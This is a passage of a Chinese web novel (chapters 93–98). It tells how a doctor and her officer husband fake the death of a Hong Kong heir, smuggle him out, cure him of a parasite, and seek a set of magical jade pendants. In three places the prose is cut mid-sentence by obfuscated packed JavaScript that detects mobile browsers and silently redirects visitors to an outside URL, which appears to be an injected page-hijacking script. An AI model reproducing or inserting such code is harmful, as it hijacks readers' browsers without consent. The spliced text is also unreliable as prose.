“对。”白凝凝点了点头,那双在昏黄灯光下的眸子里显得格外明亮,“他们想让赵承熙死,我们就让他‘死’给他们看。死得越彻底,越逼真,他们就越是会放松警惕。而这也是我们唯一的机会。” 傅清寒点点头,港市这些人心太脏手太黑,既然他和凝凝看不下去,决定要出手。那就好人做到底,送佛送到西。 他站起身,走到书桌前,摊开一张世界地图,眼神变得锐利如鹰。 “第一步,苏文赫,你立刻返回港岛。”傅清寒的手指,在地图上香港的位置重重一点,“回去后,不要做任何事,表现的心灰意冷、不闻不问,彻底麻痹赵建邦和梁美玲。” “第二步,我会立刻联系军方,以‘进行海外联合反恐演习后勤保障踩点’的名义,安排一架没有任何民航标识的医疗运输机,秘密飞往港岛附近公海的一座无人小岛待命。同时,我需要你动用苏家的关系,在港岛那边,安排一艘绝对可靠的远洋渔船。” “第三步,也是最关键的一步。”傅清寒的目光看向苏文赫,“你需要神不知鬼不觉,喂他服下‘龟息散’,你能做到吗?” “没问题。”苏文赫毫不犹豫地应下。他明白这是唯一的机会,孤注一掷必须抓住。 “一旦疗养院那边宣布了‘死讯’,你就要立刻上演一场‘悲痛欲绝’的大戏。”傅清寒的嘴角,勾起一抹冰冷的弧度,“你要以‘亲自为表弟整理遗容,送他最后一程’的名义,你要想办法将所有人挡在太平间外。然后,在那间只有你一个人的太平间里,完成最关键的转移。” “我会找人提前准备好一口特制的棺木。那口棺木分为上下两层,上层用来装你准备好的……另一具‘尸体’,以应对赵建邦可能的查验。而下层,则是一个带有独立供氧系统的密室,用来藏匿真正的承熙。” “告别仪式上,你亲自扶棺,登上那架飞往赵家祖籍的私人飞机,将所有人的视线都吸引过去。而那口真正装着承熙的棺木,则会被伪装成普通的远洋货物,通过那艘渔船,神不知鬼不觉地运往公海。” “在公海的那座无人小岛上,我的飞机会和你的渔船,完成最后的交接。” 苏文赫听得心潮澎湃,他看着眼前这个虽然年轻、却有着运筹帷幄大将之风的男人,心中充满了敬佩和感激。 “好!”他重重地点头,眼中是破釜沉舟的决绝,“就这么办!清寒,凝凝,大恩不言谢!从今往后,我苏文赫的命,就是你们的!” 白凝凝没有耽搁,立刻回到工作室,从那些珍稀的药材中,连夜配制出了一小瓶“龟息散。她将药瓶和详细的使用说明,郑重地交到了苏文赫的手中。 第二天一早,苏文赫回到港岛,立刻上演了一出“心灰意冷、幡然醒悟”的大戏。 他主动解散了自己身边的安保团队,每日只与青灯古佛为伴,不是去寺庙祈福,就是去疗养院,隔着玻璃,神情落寞地看望那个“活死人”表弟。 这番姿态,很快就传到了赵建邦的耳朵里。 苏文赫知道现在疗养院针插不进,水泼不进,贸然行事风险太大,索性一不做二不休,这天他主动登门,找到了正在为董事会那些老家伙而烦心的赵建邦,进行了一次“推心置腹”的深谈。 “叔父,”苏文赫的脸上,带着恰到好处的疲惫和认命的无奈,“我回来了。我想了很久,您和李伯他们说的,都有道理。承熙他……确实拖累了集团,也拖累了您。” 他顿了顿,抬起一双布满红血丝的眼睛,像是下了一个无比沉痛的决定,声音沙哑地说道: “我从小和他一起长大,不能再看着他这么毫无尊严地受罪了。我……我想亲自送他一程。” 赵建邦心中一动,锐利的目光锁着苏文赫:“你想怎么送?” 苏文赫从怀里,拿出了一个小小的、古朴的瓷瓶——里面装着的,正是白凝凝给他的“龟息散”。 他将瓷瓶推到赵建邦面前,眼神黯淡,语气里充满了无法言说的痛苦与解脱: “这是我……从一个专做海外生意人手里,高价买来的东西。据说是一种……能让人在睡梦中,毫无痛苦地离去的烈性毒药。在国外,一些绝症病人会选择用这种方式,来结束自己的痛苦。” 他看着赵建邦,像是在递上一份最沉重的“投名状”: “叔父,我知道您为难。这件事,由我来做。所有的罪孽,所有的骂名,都由我一个人来背。我只求,能让承熙走得安详一点,也求您……日后能看在我这份‘心意’上,在宇轩表弟面前,为我们苏家,美言几句。” 赵建邦看着眼前这个主动要替自己“背锅”的年轻人,又看了看那个散发着神秘气息的小瓷瓶。 哦,原来是为了苏家!这个苏文赫倒是个识时务的。知道他们苏家需要攀附赵氏,赵承熙眼看不中用了,就来和自己递投名状。 既然这样,那我就接了! 正好也让董事会的其他老家伙看看,顺我者昌逆我者亡! 更何况由苏文赫这个赵承熙最亲近的人亲自动手,将来就算有任何风言风语,也只会说是苏文赫不忍表弟受苦,才出此下策,与他赵建邦,与赵家,再无半分关系! 他心中那最后一点戒备也彻底放下了! “好孩子!好孩子!”赵建邦立刻换上了一副被感动的、痛心疾首的表情,他重重地拍着苏文赫的肩膀,眼眶都“红”了,“难为你了!叔父都明白!你放心,你的这份心意,叔父记下了!” 第94章 赵承熙金蝉脱壳 当天下午,苏文赫便在赵建邦的“默许”和疗养院的“配合”下,以“家属探视”的名义,亲自将那瓶“毒药”,通过鼻饲管,缓缓地注入了赵承熙的体内。 做完这一切,他静静地坐在床边,握着表弟冰冷的手,等待着审判时刻的来临。 凌晨三点整,病房里,心电监护仪的报警声,如期而至,尖锐而又刺耳。 那条代表心跳的波纹,在剧烈起伏后,迅速拉成了一条刺目的直线。 值班医生和护士立刻冲了进来,电击、抢救、注射强心针……所有装门面的急救措施都用上了,但病床上的那个人,却没有任何反应。 主治医生“满头大汗”地走出抢救室,对着早已等候在外的赵建邦和苏文赫,无奈地、沉痛地宣布: “对不起,我们已经尽力了。赵承熙先生,因多器官功能衰竭,抢救无效,已经……临床死亡。” “赵主席……梁夫人……很抱歉地通知您,赵承熙先生他……因为多器官功能衰竭,刚刚抢救无效,已经……已经没有生命体征了。” 当赵建邦和梁美玲带着赵宇轩,假惺惺地赶到疗养院时,看到的是苏文赫“悲痛欲绝”地跪在太平间门口,哭得撕心裂肺。 两人对视一眼,都从对方眼中看到了如释重负的的狂喜。 赵承熙这个眼中钉终于死了,赵氏是他们的了! 他们知道,人死了,那就该拿回属于他们的东西了——九龙玉佩! “文赫,人死不能复生,别太伤心了。”梁美玲走上前,假惺惺地拍了拍他的肩膀,安慰道,“承熙生前最是体面,我虽然是后来的,但毕竟是他的继母,理应亲自为他整理遗容,让他走得风光一些。” 说着,她就要推开苏文赫,往太平间里走。她要亲手搜出那块玉佩,绝不假手于人! 苏文赫就像是没听见梁美玲说什么一样,只是颓然地跌坐在地上,任由她带着亲信走了进去,那副哀莫大于心死的样子,俨然是已经被巨大的悲痛彻底击垮。 赵建邦看着苏文赫这副颓废任命的样子,心中最后一丝戒备也放了下来。他抱着手臂,好整以暇地站在门口,等着梁美玲把玉佩拿出来。 片刻后,太平间里传来了梁美玲气急败坏的声音! “没有!怎么会没有?!” 她带着两个亲信冲了出来,脸色铁青地指着苏文赫,厉声质问道:“玉佩呢?九龙玉佩在哪里?!我们把他身上都搜遍了,根本没有!” 苏文赫缓缓地抬起头,那双通红的眼睛里,充满了茫然:“玉……玉佩?什么玉佩?我不知道啊……我只知道……承熙他……他走之前,拼尽最后一丝力气,说起了……” “说了什么?!”赵建邦立刻上前一步,死死地盯住他! 苏文赫像是被梁美玲的质问吓到了,结结巴巴地说道:“浅水湾…保险柜…” 赵建邦和梁美玲眼中瞬间爆发出贪婪的光芒!赵承熙那个小畜生,果然狡猾,一定是在知道自己快不行的时候,提前把玉佩转移了! 但那又怎样?人死如灯灭,现在玉佩不还是他们的? “快!去浅水湾!带上最好的开锁师傅和切割设备!今天就算是把那栋别墅拆了,也得把保险柜给我打开!” 看着他们那副被贪婪冲昏了头脑、火急火燎离去的背影,苏文赫的眼中,闪过一丝冰冷的的精光。 从疗养院到浅水湾别墅,来回最快也要一个半小时。再加上撬开那个德国顶级保险柜的时间……足够了! 他立刻站起身,脸上依旧是悲痛和恐惧。 他以承熙表哥的身份指挥众人将其转运至太平间而后借口擦洗的理由留下来,反锁上太平间的门,与早已伪装成太平间工作人员的亲信们一起,迅速地将赵承熙与一具早就准备好的无名尸体掉了包。 然后,他们将赵承熙藏进一个特制的、底部有通气孔的运尸袋里,再将运尸袋放进一个伪装成“医疗废物处理箱”的推车中。 门口,一辆不起眼的货车早已等候多时。 梁美玲和赵建邦扑了个空,浅水湾的别墅空空如也,什么都没有,但此时,港岛维多利亚港的某个私人码头。一艘挂着巴拿马国旗的远洋渔船,在晨雾中,缓缓地驶离了港口,消失在茫茫的大海之中。 医疗运输机在黎明前,无声地降落在了京市西郊的一个秘密军用机场。 当赵承熙被抬下飞机,送上那辆早已等候多时的救护车时,车门打开,白凝凝那张清冷而又自信的脸,出现在了众人面前。 她身后,是陆泽远和几位从军区总院抽调出来的、最顶尖的专家组成的医疗团队。 白凝凝走上前,没有多余的废话,只是伸出手指,在赵承熙的手腕上轻轻一搭。 片刻后,她抬起头,看着一脸紧张的苏文赫,淡淡地吐出了三个字: “还有救。” 京市,西郊,那间绝对保密的“临时病房”里。 白凝凝看着病床上依旧处于“假死”状态的赵承熙,神情凝重。她伸出手,搭上他的脉搏,那脉搏微弱得几乎无法察觉。 “龟息散的药效,还有不到一个时辰就要过了。”她对一旁的傅清寒和苏文赫说道,“我们必须立刻施针,否则,他就算醒过来,身体的机能也会受到巨大的损伤。” 她从随身的布包里,拿出了一排长短不一的银针,在酒精灯上仔细地烤过。 “清寒,你负责守住门口,不允许任何人进来打扰。”她对傅清寒下达了指令。 “慕白哥,你负责监控他的生命体征。苏先生,你负责……帮我按住他的四肢。” “按住四肢?”苏文赫不解。 白凝凝点了点头,神情变得前所未有的严肃:“解蛊的过程,会非常痛苦。子蛊在他体内潜伏已久,早已和他的神经紧密相连。我要用金针将它逼出来,就等同于从他身上,活生生地剥离一部分神经。那种疼痛,非常人所能忍受。我怕他会在剧痛中无意识地挣扎,伤到自己。” 苏文赫闻言,心中一凛,立刻重重地点了点头。 白凝凝不再多言,她深吸一口气,眼神瞬间变得锐利如刀。 她捏起一根三寸长的银针,快、准、狠地刺入了赵承熙头顶的百会穴!紧接着,神庭、印堂、太阳……一根根闪着寒光的银针,如同布阵一般,精准地落在他头部的各大要穴之上。 第95章 借尸还魂后的报答 “九宫还阳针!” 随着最后一针落下,白凝凝双手齐出,指尖如蝴蝶穿花般,在那九根银针的尾部,飞快地捻动、弹拨! 一股股精纯的内劲,通过银针,源源不断地注入赵承熙那早已枯竭的经脉之中! “唔……” 病床上,原本毫无生气的赵承熙,身体猛地一颤,喉咙里发出一声压抑的、痛苦的闷哼!他的四肢开始不受控制地抽搐起来! 苏文赫和早已等候在一旁的两个亲信立刻上前,用尽全身的力气,死死地按住他的身体! 白凝凝的额角,渗出了细密的汗珠。她的脸色,因为内力的过度消耗而变得有些苍白,但手上的动作,却依旧稳如泰山。 她能清晰地“看”到,那只蛰伏在赵承熙大脑深处的、阴冷邪恶的子蛊,在她的内劲冲击下,开始疯狂地挣扎、冲撞,试图逃离! “想跑?” 白凝凝冷哼一声,她并起食指和中指,对着赵承熙眉心处的印堂穴,猛地一指点下! “离——!” 一声清喝,她将体内所剩无几的内力,凝聚成一股至阳至刚的“离火真气”,通过银针,狠狠地轰入了子蛊盘踞的巢穴! “吱——!” 一声极其微弱、却又尖利刺耳的嘶鸣,仿佛从另一个世界传来! 只见赵承熙的身体猛地弓起,像一条离水的鱼!他张开嘴,猛地喷出了一口黑色的、带着腥臭味的淤血! 而那口淤血之中,赫然有一条通体漆黑、形如蜈蚣、还在微微扭动的小虫! 那小虫一接触到空气,便迅速地蜷缩、干瘪,最后化为了一滩黑色的粉末,彻底失去了生机。 蛊,已解! “噗——” 白凝凝在逼出蛊虫的瞬间,也因为力竭,猛地喷出了一小口鲜血,身体一晃,向后倒去。 “凝凝!” 傅清寒一个箭步冲上前,及时地将她接进怀里,看到她嘴角的血迹,那双深邃的黑眸里,瞬间充满了滔天的、几乎要将人吞噬的心疼和后怕! 他一把将她打横抱起,声音里带着他自己都未曾察觉的、因恐惧而产生的颤抖:“你怎么样?有没有伤到哪里?有没有动了胎气?” 白凝凝靠在他坚实的胸膛里,虚 弱地摇了摇头脸上却露出一个安心的笑:“我没事……就是……有点累。” 而病床上随着蛊虫被逼出赵承熙那空洞呆滞的眼神开始慢慢地重新凝聚起神采。他缓缓地转动着眼珠看着周围既熟悉又陌生的环境看着那个抱着白凝凝、一脸紧张的傅清寒又看了看守在床边、双目通红的表哥苏文赫…… 他的喉咙里发出了几个沙哑的、不成调的音节。 “……文赫……?” 他醒了! 那个被全世界都判定为“植物人”的赵家太子爷在经历了“死亡”之后终于在京市醒了过来! 苏文赫再也无法抑制自己的情绪他扑到床边握着表弟的手泣不成声:“承熙!你醒了!你终于醒了!” —— 赵承熙苏醒后的第二天身体依旧极度虚弱但神智已经完全清醒。 病房里苏文赫连忙把人扶起来。“怎么样没事吧?” “不要紧死不了。”赵承熙靠在床头“这……这到底是怎么回事?我只记得父亲去世后我头痛欲裂然后就……什么都不知道了。” 苏文赫的眼中闪过一丝痛色将白凝凝关于“子母牵机蛊”的诊断以及梁美玲和赵建邦的阴谋原原本本地告诉了他。 赵承熙听完沉默了许久。他那张原本温润的脸上浮现出了冰冷刺骨的恨意。他早就觉得梁美玲不是什么好人却没想到她居然和赵建邦勾结到一起下手这么快! “文赫这些天辛苦你了。” 苏文赫摇摇头“我倒是没什么。只是这次要不是求到慕白这里见了白神医你的小命可就真的完了。”苏文赫眼中闪过一丝后怕“你假死我才把你带出来。港市那边都以为你**。集团也落到他们手里了。” “他们时机选得这么好恐怕谋划不是一天两天了。”他抬起头看向一旁静静喝茶的傅清寒声音沙哑地问道“父亲不在了 苏文赫点头:“听说那边已经把他扶上副总裁的宝座了。我就是不明白梁美玲是为她亲生儿子考虑当然是把你这个继子看作是眼中钉肉中刺。那你叔叔图什么?你和赵宇轩不都是他侄子?赵宇轩那家伙就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771251|190230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 彻头彻尾一个大草包,前一段时间还在内地闯下大祸,被关了一段时间。这样的人怎么能扛起赵家的大旗。” 赵承熙也摇摇头,“赵宇轩无能,比我更好控制,架空他才好控制赵家。你刚刚说是慕白引荐的神医救了我?” “是啊,”说到这里,苏文赫灰暗的目光亮起来,“你是不知道,我之前听慕白说神医还以为是个白胡子老头,没想到一见**那么年轻,还怀了孕,为了救你人都虚脱了。” 年轻?怀孕?这两个词好像哪个都和神医牵扯不上关系。 两人正说着话,门被推开了。进来的两个人,一个高大挺拔,一个娇小玲珑。 为首的是一个极为年轻的女孩,眉清目秀,唇红齿白,腹部微微隆起,正是白凝凝。而跟在她身后的男人,穿着一身笔挺的军装,眼神锐利如鹰,正是傅清寒,亦步亦趋地跟在妻子身后,手上还提着一个保温桶,那副小心翼翼的模样,与他身上那股生人勿近的气场形成了强烈的反差。 “承熙,我给你介绍一下。”苏文赫立刻站起身,脸上是发自内心的敬重,“这位,就是救了你一命的白神医,白凝凝。这位是她的丈夫,傅清寒傅部长。” 赵承熙的眼中闪过一丝震惊。刚刚文赫说年轻,却没想到这么年轻。 他挣扎着想从床上坐起来行礼,却被白凝凝按住了肩膀。 “别动,你身体还很虚。”白凝凝为他搭上脉搏,片刻后点了点头,“恢复得不错。蛊毒已清,只是精气亏损得厉害,需要慢慢调养。” 她打开保温桶,盛出一碗散发着浓郁药香的汤羹:“这是我给你配的‘固本培元汤’,趁热喝了。” 赵承熙看着眼前这个救了自己性命的女子,心中百感交集。他接过汤,却没有立刻喝,而是对苏文赫沉声道:“文赫,去把那件东西拿来。” 苏文赫一愣,随即反应过来他说的是什么,立刻从病房角落一个极其隐蔽的柜子里,取出了一个看起来平平无奇,却重逾百斤的手提式保险箱。 赵承熙示意苏文赫将保险箱放在床头,然后,他用只有赵家嫡系才知道的密码组合,打开了保险箱。 箱子打开,里面只有一个用黄绸布包裹得严严实实的东西。 第96章 第三块玉佩 他将东西取出,一层层解开,露出的正是一块通体翠绿、雕刻着九条形态各异的盘龙的古玉佩——九龙玉佩。 “白医生,傅部长,”赵承熙双手捧着玉佩,郑重地递到两人面前,“大恩不言谢。我赵承熙如今一无所有,这条命是您给的。这块玉佩,是我赵家世代相传的信物,也是我身上唯一值钱的东西了。请您务必收下,就当……就当我报答您救命之恩的一点心意。” 苏文赫一看,立刻急了:“承熙!你这是干什么!这玉佩是赵家家主的信物怎么能送人!” 赵承熙却摆了摆手,脸上露出一丝心灰意冷的苦笑:“哥,别说了。我现在这个样子,和废人有什么区别?守着这块玉佩又有什么用?我连自己都保不住,还谈什么东山再起?” 他看着白凝凝,眼神里是看透世事的苍凉:“我已经是个**了。与其让它落入那对狗男女之手,不如送给我的救命恩人。也算是……物归其所,全了我最后一点心愿。” 就在赵承熙拿出那块玉佩的瞬间,白凝凝贴身戴着的那块、由傅清寒所赠的“天璇珏”,仿佛感受到了同伴的召唤,竟隔着衣物,发出了微微的、渴望的温热! 她的目光,落在那块“九龙玉佩”上。 “这块玉佩,”她的声音带着一丝不易察觉的颤抖,“能不能……让我看看?” 所有人都疑惑地看向她,赵承熙将玉佩递了过去。 当她的指尖,轻轻触碰到玉佩冰凉的表面时,一股比之前任何一次都更强大、更霸道的灵气,如同奔腾的江河,瞬间涌入了她的经脉! 那股灵气,充满了帝王般的威严与阳刚,与“天璇”的守护之力截然不同。 白凝凝的脑海中,瞬间浮现出了两个龙飞凤舞的古篆——**! 北斗第四星,**!主杀伐,掌权柄! 这“九龙玉佩”,竟是七星玉的第三块! “凝凝,怎么了?”傅清寒立刻察觉到她的不对劲,紧张地扶住了她。 “我没事。”白凝凝摇了摇头,她抬起头,看着一脸决绝的赵承熙,心中已经有了计较。 她将那块“九龙玉佩”推了回去,声音清冷而又坚定:“赵先生,你的心意我领了。但这块玉佩,我不能收。” “白医生,您是 嫌弃它……” “不。”白凝凝打断了他,语气温和而有力:“君子不夺人所好。这是你们赵家的传家宝,代表着祖辈的传承和希望。它不应该流落到我这个外人手上。” 她看着赵承熙那双黯淡无光的眼睛,一字一句地说道:“你以为,赵建邦和梁美玲现在最想要的是什么?是这块玉佩吗?是,也不是。” “他们以为你已经**,所以他们现在最想要的,是让所有人都忘了你!忘了你才是赵家名正言顺的继承人!他们会想尽一切办法,抹去你存在过的痕迹,包括找到这块象征着正统的玉佩,然后将它据为己有,或是……彻底销毁。” “只要这块玉佩还在你手里一天,他们就一天不得安宁!只要这块玉佩还在,就代表着赵家的正统还在!董事会里那些忠于你父亲的老臣子,心里就永远有一杆秤,永远不会真正地臣服于他们。你不是一无所有,你手里握着的,才是能让他们寝食难安、也是你未来东山再起时,最名正言顺的旗帜!” 他看着眼前这个比自己年轻许多,却有着如此通透眼光的女人,她甚至不知道这玉佩还是开启家族秘密基金的唯一钥匙,就已经看透了它作为“正统旗帜”的巨大价值。 也许她说的对,自己还有翻盘的可能。 他那双黯淡的眸子里,终于,重新燃起了一丝微弱的火苗。 赵承熙看着手中这块沉甸甸的玉佩,心中百感交集。他抬起头,看着白凝凝,脸上露出一丝苦涩而又真诚的笑意:“白医生,谢谢你。是你点醒了我。只是……” 他看了一眼自己还虚弱无力的身体,叹了口气:“我现在这个样子,空有翻盘的心,却没有翻盘的力。这块玉佩在我身边,反而是一个巨大的风险。我怕……我守不住它。” 这番话,是他发自内心的顾虑。他担心自己没有能力保护好这翻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771252|190230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盘的唯一希望。 白凝凝看出了他的担忧,也顺着他的话,自然而然地提出了自己的建议。 “你说的没错。”她点了点头,神情变得严肃起来,“匹夫无罪,怀璧其罪。在你身体彻底康复之前,这块玉佩确实不宜暴露。如果你信得过我……” 她顿了顿,迎上赵承熙探寻的目光,语气坦然而又真诚: “不如,就由我,暂时替你 保管。第一,我这里绝对安全,可以杜绝一切被他们找到的可能。第二,”她话锋一转,提出了一个让他无法拒绝的理由,“我也想借此机会,研究一下它的材质,或许能对你的后续治疗,有所启发。等你的身体彻底康复,这块玉佩,我会原封不动地,还给你。” 赵承熙看着白凝凝那双清澈坦荡、不带一丝贪婪的眼眸,心中最后一丝疑虑也消失了。他郑重地,将那块玉佩,重新递到了她的手中。 “好,那就……拜托您了。” 当晚,白凝凝将那块“**珏”带回了小院。 她能感觉到,这块玉佩里蕴含的灵气,是两块玉中最为霸道和充沛的。只是,那股过于刚猛的帝王之气,让她腹中的胎儿感到了一丝不安。 她知道,这块玉佩,自己不能像之前那样贴身佩戴。她只能用它来补充自己因为怀孕而日渐消耗的灵力。 她将玉佩放在床头,又从自己的首饰盒里,取出了那块温润的“天枢珏”,将两块玉佩并排放在一起。她闭上眼,运转内劲,小心翼翼地,试图从“**珏”中牵引出一丝霸道的灵气,再用“天枢珏”那生生不息的柔和灵气进行中和。 然而,就在她的内劲同时接触到两块玉佩的瞬间—— “嗡——!” 两块玉佩仿佛受到了某种神秘的感召,竟同时发出了剧烈的嗡鸣声!一股远比之前强大数倍的、混杂着生机与杀伐的庞杂灵气,如同失控的洪水,猛地冲进了她的经脉! “噗——!” 白凝凝只觉得五脏六腑都仿佛被撕裂了一般,一口鲜血,不受控制地喷了出来! 第97章 九龙玉佩的另一半 “凝凝!” 刚从浴室走出来的傅清寒,看到这突如其来的一幕,吓得魂飞魄散!他一个箭步冲上前,抱住了摇摇欲坠的妻子,声音里充满了前所未有的恐慌! 傅清寒只觉得浑身的血液都在这一瞬间凝固了!他抱着怀里脸色煞白、嘴角挂着血迹的妻子,那颗在战场上都未曾有过丝毫畏惧的心,此刻被“恐惧”彻底淹没! “医生!快叫医生!”他抱着她,像一头失控的雄狮,冲出小院,对着门口的警卫员疯狂地咆哮! 军区总医院的急救室,灯亮了整整一夜。 傅清寒像一尊望妻石,一动不动地守在门口。 苏文赫和陈慕白闻讯赶来,看着他那双布满血丝、充满了自责和后怕的眼睛,也是心急如焚,却不敢上前说一句话。 天快亮时,**院长亲自带着几个专家,满脸倦容地走了出来。 “傅部长,您放心,”李院长摘下口罩,长长地舒了一口气,“白神医她已经脱离危险了。不知道什么原因导致气血逆行。我们已经给她注射了最稳定的保胎针,孩子……保住了。” “呼……”傅清寒紧绷的身体,这才猛地一松,整个人差点虚脱。 他冲进病房,看到白凝凝正安静地躺在病床上,虽然脸色依旧苍白,但呼吸已经平稳。他走到床边,单膝跪地,将她冰凉的小手紧紧地贴在自己滚烫的脸颊上,那双深邃的黑眸里,是无尽的后怕和自责。 都是他的错。是他没有保护好她。 白凝凝悠悠转醒时,看到的就是男人这副模样。她心中一疼,反手握住他的大手,声音虚弱却温柔:“我没事……别担心。” “凝凝,这段时间你都很疲惫,是因为孩子吗?” 凝凝摇头,昨晚的事是她自己太大意了。她低估了那块“**珏”霸道的力量,也高估了自己现在的身体状况。 那股混杂着生机与杀伐的灵气,太过庞杂,根本不是她现在这个需要分出灵力去滋养胎儿的身体所能承受的。 她挣扎着想坐起来,傅清寒立刻小心翼翼地将她扶起,在她身后垫了两个柔软的枕头。 “清寒,”白凝凝靠在枕头上,脸色凝重地说道,“你帮我……把承熙请过来。我有很重要的事,要问他。” 傅清寒虽然不解,但还是立刻照办了。 很快,赵承熙在苏文赫的搀扶下,走进了病房。当他看到白凝凝那苍白的脸色时眼中充满了愧疚,以为她是为了就自己劳累导致的,“白医生,你怀着孕还因为救我… “赵公子你不必自责,和你没关系。白凝凝摇了摇头,示意他坐下,“我特意把你叫过来是想问问关于那块九龙玉佩的事。你说玉佩是赵家世代相传的信物。除此之外,你还了解多少?比如,它的来历,或者……它有没有什么特别之处? 面对着救了自己而受伤的女子,赵承熙没有隐瞒,说出了玉佩的秘密:“这块玉佩是我们赵家的传家宝,据说从我太爷爷那一辈就有了,不仅象征着家主的地位,更是开启瑞士基金的钥匙。 钥匙?基金?这些世俗方面对她补充灵气毫无用处,“那还有其他特别的吗? 其他?赵承熙想了想,“这块玉佩,并不是完整的。 “不完整?白凝凝的眼睛瞬间亮了!这印证了她的猜测! 那股过于刚猛、缺少调和的帝王之气,一定是因为它缺少了另一半的制衡! “对,赵承熙努力地回忆着,“我父亲说,我们赵家的这块九龙佩,其实是一对‘龙凤阴阳佩’中的‘龙佩’,也就是阳佩。它还有一个‘凤佩’,也就是阴佩,可以与之相互呼应,调和阴阳。 凤佩?凝凝心里一紧,既然是一对的龙凤配,岂不是可以相互呼应,调和阴阳?那是再好不过调理她因为怀孕灵气不足了。 “那……那一枚凤佩呢? 赵承熙乎陷入了久远的回忆,声音也变得有些飘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771253|190230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忽:“我爷爷和霍家的老爷子,当年是过命的生死兄弟,曾在一处古墓中,共同得到了这对来历神秘的‘龙凤阴阳佩’。他们当场便定下约定,将‘龙佩’给了我们赵家,‘凤佩’则由霍家保管。 我们两家还定下了娃娃亲,说将来要让赵家的长孙,娶霍家的长孙女,让这对‘龙凤佩’,在他们孩子的婚礼上,重新合璧,成就一番美谈。 他苦笑一声,继续道:“我……就是那个赵家的长孙。而霍家的长孙女,霍思晴,就是我曾经的未婚妻。本来,按照计划,我们就要订婚了。霍家那边也答应,会将那块‘鸾凤佩’,作为思晴的嫁 妆,一并带过来。谁知道……” 他没有再说下去,但所有人都明白了他未尽的话。 赵建城出事,他也被人“中蛊”,一病不起,婚约自然也就不了了之了。而那块本该合璧的“鸾凤佩”,也就此留在了霍家。 霍家……鸾凤佩…… 她几乎可以肯定,那块所谓的“凤佩”,就是七星玉的另一块!如果能将两块玉佩合二为一,那股被调和后的、阴阳相济的灵气,不仅能让她腹中的胎儿安然无恙,甚至能让她的功力,恢复到一个前所未有的境界! 但她也知道,想从霍家手里拿到那块玉佩,难如登天! 那不仅仅是一块玉,更代表着一个豪门女主人的身份和荣耀。霍家怎么可能轻易拱手让人? 送走了赵承熙,白凝凝靠在傅清寒怀里,声音里带着一丝忧虑:“清寒,我施针的**比较特殊,这次怀孕对我内力的消耗非常大,导致我身体很虚弱,胎气也不稳。我能感觉到,霍家那块‘鸾凤佩’,对我,对我们的孩子,都至关重要。” 傅清寒抱着她的手臂不自觉地收紧了几分。他不懂什么**,但他能清晰地感受到怀里人儿的虚弱。 只要是能让她和孩子好起来的东西,别说是一块玉,就算是天上的星星,他也要想办法摘下来。 第98章 癞**想吃天鹅肉 白凝凝感受到了他的紧张,又轻声补充道,声音里是清醒的认知,夹杂着无奈: “但我也知道,想从霍家手里拿到那块玉佩,难如登天!” “那不仅仅是一块玉,是霍老爷子为他最疼爱的孙女准备的嫁妆,是霍家的脸面。霍家怎么可能轻易拱手让人?” 她叹了口气,继续道:“更何况,赵承熙和霍思晴的婚约早已作废。我们现在贸然上门,以什么身份去要?于情于理,都说不通。强取豪夺,更不是我们的行事风格。” 傅清寒静静地听着,没有说话。他知道,他的小妻子虽然医术通天,但在人情世故的博弈上,还是太善良、太直接了。 她想的是“如何去要”,而他想的是“如何让他们主动给”。 良久,他才缓缓开口,声音低沉而又充满了安抚人心的力量。 “凝凝,你说的对。我们不‘要’。” 白凝凝一愣,抬头看向他。 只见傅清寒的嘴角,勾起了一抹极淡的浅笑。他低下头,在那光洁的额头上印下一个珍重的吻,眼神里是为她扫平一切障碍的决心。 “你什么都不用想。”他揉了揉她的头发,语气宠溺而又坚定,“你只需要告诉我,你需要它。剩下的,交给我。” 他看着妻子那双清澈的、还带着一丝困惑的眼睛,缓缓地、用他独有的方式解释着自己的谋略: “兵法有云,攻心为上。一块玉佩,是死物。但人心,是活的。” “霍家是医药世家,最重医德和人情。他们现在不给我们,是因为我们还没有一个让他们无法拒绝的理由。” “那我们就去创造一个理由。”他的声音平稳而自信,仿佛在陈述一个既定的事实,“一个让他们觉得,将玉佩交到你手上,不是‘失去’,而是‘托付’;不是‘出让’,而是他们能做出的最明智、也是唯一正确的选择。” 白凝凝听着他这番话,心中的那点忧虑瞬间烟消云散。她看着眼前这个男人,他总是能在她最迷茫的时候,为她拨开所有迷雾,铺好一条最稳妥的路。 她安心地在他怀里蹭了蹭,将所有的信任都交付于他。 “好,都听你的。” —— 而此时,远在港岛的赵家别墅里,梁 美玲也陷入了前所未有的焦躁之中。 九龙玉佩,消失了。 按照苏文赫的说法,她派人将浅水湾翻了个底朝天都不见踪影,还有赵承熙曾经住过的住处,养病的疗养院都翻了遍,都一无所获! 